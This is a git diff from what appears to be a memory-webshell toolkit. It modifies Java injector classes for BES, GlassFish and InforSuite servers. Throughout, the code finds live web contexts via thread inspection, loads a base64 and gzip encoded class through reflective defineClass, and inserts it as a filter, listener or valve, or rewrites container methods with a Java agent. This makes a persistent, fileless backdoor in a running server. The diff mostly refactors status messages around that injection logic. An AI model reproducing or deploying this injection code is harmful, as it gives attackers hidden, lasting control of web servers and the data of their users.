|
||||
String filterName = getClassName();
|
||||
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||
log.warning("filter already exists");
|
||||
return;
|
||||
}
|
||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||
@@ -110,7 +138,11 @@ public class BesFilterInjector {
|
||||
Object filterConfig = constructors[0].newInstance(context, filterDef);
|
||||
HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFieldValue(context, "filterConfigs");
|
||||
filterConfigs.put(filterName, filterConfig);
|
||||
log.info("filter added successfully");
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -194,4 +226,19 @@ public class BesFilterInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+63
-13
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.bes;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
@@ -14,6 +15,8 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class BesListenerInjector {
|
||||
|
||||
private String msg = "";
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
@@ -23,15 +26,42 @@ public class BesListenerInjector {
|
||||
}
|
||||
|
||||
public BesListenerInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getShell(context);
|
||||
inject(context, listener);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
@@ -62,15 +92,17 @@ public class BesListenerInjector {
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -78,7 +110,6 @@ public class BesListenerInjector {
|
||||
Object[] eventListeners = (Object[]) invokeMethod(context, "getApplicationEventListeners", null, null);
|
||||
for (Object eventListener : eventListeners) {
|
||||
if (eventListener.getClass().getName().equals(listener.getClass().getName())) {
|
||||
System.out.println("listener already exists");
|
||||
return;
|
||||
}
|
||||
}
|
||||
@@ -86,7 +117,11 @@ public class BesListenerInjector {
|
||||
newListeners.add(listener);
|
||||
newListeners.addAll(Arrays.asList(eventListeners));
|
||||
invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{newListeners.toArray()});
|
||||
System.out.println("listener added successfully");
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -135,7 +170,7 @@ public class BesListenerInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -163,4 +198,19 @@ public class BesListenerInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+74
-40
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.bes;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
@@ -13,17 +14,7 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class BesValveInjector {
|
||||
|
||||
public BesValveInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object valve = getShell(context);
|
||||
inject(context, valve);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
@@ -33,6 +24,45 @@ public class BesValveInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public BesValveInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
@@ -49,53 +79,42 @@ public class BesValveInjector {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
Object loader = invokeMethod(context, "getLoader", null, null);
|
||||
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public boolean isInjected(Object pipeline) throws Exception {
|
||||
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
|
||||
List<Object> valvesList = Arrays.asList(valves);
|
||||
for (Object valve : valvesList) {
|
||||
if (valve.getClass().getName().contains(getClassName())) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void inject(Object context, Object valve) throws Exception {
|
||||
Object pipeline = invokeMethod(context, "getPipeline", null, null);
|
||||
if (isInjected(pipeline)) {
|
||||
System.out.println("valve already injected");
|
||||
return;
|
||||
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
|
||||
List<Object> valvesList = Arrays.asList(valves);
|
||||
for (Object v : valvesList) {
|
||||
if (v.getClass().getName().contains(getClassName())) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
Class valveClass = context.getClass().getClassLoader().loadClass("com.bes.enterprise.webtier.Valve");
|
||||
// com.bes.enterprise.webtier.core.DefaultPipeline
|
||||
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
@@ -142,7 +161,7 @@ public class BesValveInjector {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -170,4 +189,19 @@ public class BesValveInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+3
-7
@@ -40,7 +40,6 @@ public class GlassFishContextValveAgentInjector extends ClassLoader implements C
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -61,6 +60,7 @@ public class GlassFishContextValveAgentInjector extends ClassLoader implements C
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||
return cw.toByteArray();
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
@@ -77,12 +77,8 @@ public class GlassFishContextValveAgentInjector extends ClassLoader implements C
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
|
||||
+3
-7
@@ -40,7 +40,6 @@ public class GlassFishFilterChainAgentInjector implements ClassFileTransformer {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -61,6 +60,7 @@ public class GlassFishFilterChainAgentInjector implements ClassFileTransformer {
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||
return cw.toByteArray();
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
@@ -77,12 +77,8 @@ public class GlassFishFilterChainAgentInjector implements ClassFileTransformer {
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
|
||||
+61
-18
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.glassfish;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
@@ -13,15 +14,12 @@ import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* Date: 2022/11/01
|
||||
* Author: pen4uin
|
||||
* Description: Tomcat Filter 注入器 Tested version: jdk v1.8.0_275
|
||||
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
|
||||
*
|
||||
* @author ReaJason
|
||||
* @author pen4uin, ReaJason
|
||||
*/
|
||||
public class GlassFishFilterInjector {
|
||||
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
@@ -35,18 +33,42 @@ public class GlassFishFilterInjector {
|
||||
}
|
||||
|
||||
public GlassFishFilterInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
// skip glassfish /osgi context
|
||||
if (getFieldValue(context, "serverContext") != null) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -79,22 +101,23 @@ public class GlassFishFilterInjector {
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return webAppClassLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void inject(Object context, Object shell) throws Exception {
|
||||
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||
System.out.println("filter already injected");
|
||||
return;
|
||||
}
|
||||
Object filterDef;
|
||||
@@ -138,7 +161,11 @@ public class GlassFishFilterInjector {
|
||||
Object filterConfig = filterConfigConstructor.newInstance(context, filterDef);
|
||||
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
|
||||
filterConfigs.put(getClassName(), filterConfig);
|
||||
System.out.println("filter inject success");
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -208,6 +235,22 @@ public class GlassFishFilterInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+74
-30
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.glassfish;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
@@ -13,17 +14,7 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class GlassFishValveInjector {
|
||||
|
||||
public GlassFishValveInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object valve = getShell(context);
|
||||
inject(context, valve);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
@@ -33,6 +24,46 @@ public class GlassFishValveInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
|
||||
public GlassFishValveInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
@@ -49,7 +80,7 @@ public class GlassFishValveInjector {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) {
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
@@ -60,40 +91,38 @@ public class GlassFishValveInjector {
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
// OSGI 类加载限制,加密相关函数找不到,这儿不得不使用 WebAppClassLoader
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void inject(Object context, Object valve) throws Exception {
|
||||
Object pipeline = invokeMethod(context, "getPipeline", null, null);
|
||||
if (isInjected(pipeline)) {
|
||||
System.out.println("valve already injected");
|
||||
return;
|
||||
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
|
||||
List<Object> valvesList = Arrays.asList(valves);
|
||||
for (Object v : valvesList) {
|
||||
if (v.getClass().getName().contains(getClassName())) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
|
||||
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
||||
System.out.println("valve injected successfully");
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public boolean isInjected(Object pipeline) throws Exception {
|
||||
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
|
||||
List<Object> valvesList = Arrays.asList(valves);
|
||||
for (Object valve : valvesList) {
|
||||
if (valve.getClass().getName().contains(getClassName())) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -141,7 +170,7 @@ public class GlassFishValveInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -169,4 +198,19 @@ public class GlassFishValveInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+66
-17
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.inforsuite;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
@@ -14,19 +15,8 @@ import java.util.zip.GZIPInputStream;
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class InforSuiteFilterInjector {
|
||||
Logger log = Logger.getLogger(InforSuiteFilterInjector.class.getName());
|
||||
|
||||
public InforSuiteFilterInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getShell(context);
|
||||
inject(context, filter);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -40,6 +30,45 @@ public class InforSuiteFilterInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public InforSuiteFilterInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
/**
|
||||
* com.cvicse.loong.enterprise.web.WebModule
|
||||
* /usr/local/inforsuite/as/modules/web-glue.jar
|
||||
@@ -71,22 +100,23 @@ public class InforSuiteFilterInjector {
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public void inject(Object context, Object filter) throws Exception {
|
||||
String filterName = getClassName();
|
||||
